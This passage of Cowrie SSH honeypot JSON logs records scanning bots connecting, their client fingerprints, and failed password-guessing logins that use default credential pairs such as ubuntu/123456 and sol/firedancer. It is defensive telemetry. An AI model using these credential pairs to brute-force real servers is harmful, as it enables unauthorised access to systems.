tp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:27:06.165965Z","src_ip":"195.178.110.218","session":"52d3c09fcf45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:27:06.404286Z","src_ip":"195.178.110.218","session":"52d3c09fcf45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:27:07.485849Z","src_ip":"195.178.110.218","session":"52d3c09fcf45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":38152,"dst_ip":"159.203.135.109","dst_port":22,"session":"75bd14a956c5","protocol":"ssh","message":"New connection: 92.118.39.92:38152 (159.203.135.109:22) [session: 75bd14a956c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:27:55.015630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:27:55.056110Z","src_ip":"92.118.39.92","session":"75bd14a956c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:27:55.155506Z","src_ip":"92.118.39.92","session":"75bd14a956c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telegram","password":"telegram","message":"login attempt [telegram/telegram] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:27:55.574345Z","src_ip":"92.118.39.92","session":"75bd14a956c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:27:56.734635Z","src_ip":"92.118.39.92","session":"75bd14a956c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":45270,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb8c5e3a15f7","protocol":"ssh","message":"New connection: 80.94.92.184:45270 (10.17.0.5:22) [session: fb8c5e3a15f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:28:12.538785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:28:12.935306Z","src_ip":"80.94.92.184","session":"fb8c5e3a15f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:28:12.938623Z","src_ip":"80.94.92.184","session":"fb8c5e3a15f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:28:14.021836Z","src_ip":"80.94.92.184","session":"fb8c5e3a15f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:28:15.370809Z","src_ip":"80.94.92.184","session":"fb8c5e3a15f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.98","src_port":56712,"dst_ip":"159.203.135.109","dst_port":22,"session":"e01b2f95f663","protocol":"ssh","message":"New connection: 157.10.160.98:56712 (159.203.135.109:22) [session: e01b2f95f663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:29:11.853208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:29:11.856494Z","src_ip":"157.10.160.98","session":"e01b2f95f663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:29:12.097992Z","src_ip":"157.10.160.98","session":"e01b2f95f663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"socks","password":"12345","message":"login attempt [socks/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:29:13.098124Z","src_ip":"157.10.160.98","session":"e01b2f95f663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:29:14.342256Z","src_ip":"157.10.160.98","session":"e01b2f95f663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43420,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd5896d450c5","protocol":"ssh","message":"New connection: 2.57.122.208:43420 (159.203.135.109:22) [session: cd5896d450c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:29:41.905741Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:29:42.011564Z","src_ip":"2.57.122.208","session":"cd5896d450c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":59706,"dst_ip":"10.17.0.5","dst_port":22,"session":"29df8ac776d4","protocol":"ssh","message":"New connection: 195.178.110.218:59706 (10.17.0.5:22) [session: 29df8ac776d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:29:45.096096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:29:45.099328Z","src_ip":"195.178.110.218","session":"29df8ac776d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:29:45.180689Z","src_ip":"195.178.110.218","session":"29df8ac776d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:29:45.418468Z","src_ip":"195.178.110.218","session":"29df8ac776d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:29:46.500552Z","src_ip":"195.178.110.218","session":"29df8ac776d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":53612,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cfaf6c6b41d","protocol":"ssh","message":"New connection: 92.118.39.92:53612 (159.203.135.109:22) [session: 9cfaf6c6b41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:30:10.386680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:30:10.391449Z","src_ip":"92.118.39.92","session":"9cfaf6c6b41d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:30:10.496289Z","src_ip":"92.118.39.92","session":"9cfaf6c6b41d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"btc1","password":"btc1","message":"login attempt [btc1/btc1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:30:10.829883Z","src_ip":"92.118.39.92","session":"9cfaf6c6b41d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:30:11.938907Z","src_ip":"92.118.39.92","session":"9cfaf6c6b41d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.98","src_port":43468,"dst_ip":"159.203.135.109","dst_port":22,"session":"79502edcc380","protocol":"ssh","message":"New connection: 157.10.160.98:43468 (159.203.135.109:22) [session: 79502edcc380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:31:25.993490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:31:25.999405Z","src_ip":"157.10.160.98","session":"79502edcc380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:31:26.242105Z","src_ip":"157.10.160.98","session":"79502edcc380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andre","password":"123","message":"login attempt [andre/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:31:27.244339Z","src_ip":"157.10.160.98","session":"79502edcc380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:31:28.489288Z","src_ip":"157.10.160.98","session":"79502edcc380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":47974,"dst_ip":"10.17.0.5","dst_port":22,"session":"61378495c9bc","protocol":"ssh","message":"New connection: 80.94.92.184:47974 (10.17.0.5:22) [session: 61378495c9bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:31:28.676442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:31:28.789337Z","src_ip":"80.94.92.184","session":"61378495c9bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:31:28.792050Z","src_ip":"80.94.92.184","session":"61378495c9bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:31:30.494525Z","src_ip":"80.94.92.184","session":"61378495c9bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:31:31.814068Z","src_ip":"80.94.92.184","session":"61378495c9bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":40838,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ea804662e65","protocol":"ssh","message":"New connection: 92.118.39.92:40838 (159.203.135.109:22) [session: 9ea804662e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:32:23.966411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:32:23.990357Z","src_ip":"92.118.39.92","session":"9ea804662e65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:32:24.089015Z","src_ip":"92.118.39.92","session":"9ea804662e65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":43534,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7aca2508df1","protocol":"ssh","message":"New connection: 195.178.110.218:43534 (10.17.0.5:22) [session: c7aca2508df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:32:24.457565Z"}
